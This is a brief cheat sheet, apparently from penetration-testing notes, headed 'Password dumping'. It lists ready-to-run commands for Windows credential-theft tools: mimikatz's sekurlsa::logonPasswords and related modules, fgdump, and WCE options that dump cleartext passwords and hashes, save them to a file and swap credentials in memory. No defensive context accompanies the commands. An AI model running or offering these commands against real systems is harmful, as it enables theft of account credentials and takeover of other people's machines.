Password dumping

mimikatz

C:>mimikatz.exe

privilege::debug
sekurlsa::logonPasswords
sekurlsa::msv

Fgdump

Dumps hashes (needs SYSTEM privileges)

C:>fgdump.exe

WCE

Dumps clear passwords

C:>wce -w

Dumps hashes

C:>wce

Persistent, writes in credentials.txt

C:>wce -r

Change your credentials in memory

C:>wce -s